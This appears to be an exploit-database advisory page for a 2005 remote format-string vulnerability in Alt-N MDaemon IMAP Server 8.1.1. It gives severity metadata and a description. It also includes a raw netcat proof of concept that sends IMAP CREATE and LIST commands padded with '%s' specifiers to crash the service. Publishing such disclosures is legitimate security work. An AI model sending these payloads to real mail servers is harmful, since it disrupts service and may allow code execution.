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MDaemon IMAP Server
by:
SecurityFocus
7.5
CVSS
HIGH
Format-String Vulnerability
134
CWE
Product Name: MDaemon IMAP Server
Affected Version From: 8.1.2001
Affected Version To: 8.1.2001
Patch Exists: NO
Related CWE: N/A
CPE: //a:alt-n_technologies:mdaemon_imap_server
Metasploit: N/A
Other Scripts: N/A
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Nuclei References: N/A
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Platforms Tested: N/A
2005

Alt-N MDaemon IMAP Server Remote Format-String Vulnerability

Alt-N MDaemon IMAP Server is affected by a remote format-string vulnerability. This issue is due to the application's failure to properly sanitize user-supplied input before using it in the format-specifier argument to a formatted printing function. This vulnerability may be leveraged to consume excessive CPU resources or to crash the service. Due to the nature of this issue, remote code execution is likely possible, although this has not been confirmed.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/16854/info

Alt-N MDaemon IMAP Server is affected by a remote format-string vulnerability. This issue is due to the application's failure to properly sanitize user-supplied input before using it in the format-specifier argument to a formatted printing function.

This vulnerability may be leveraged to consume excessive CPU resources or to crash the service. Due to the nature of this issue, remote code execution is likely possible, although this has not been confirmed.

Alt-N MDaemon 8.1.1 is reported to be vulnerable. Other versions are likely affected as well.

M:\Distrib\nc>nc -v 127.0.0.1 143
Blaster [127.0.0.1] 143 (imap) open
* OK hack.com IMAP4rev1 MDaemon 8.1.1 ready
0001 LOGIN "user" "password"
0001 OK LOGIN completed
0003 CREATE "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
%s%s%s%s%s"
0003 OK CREATE completed
0004 LIST "%s%s%s%s%s%s%s" "%s"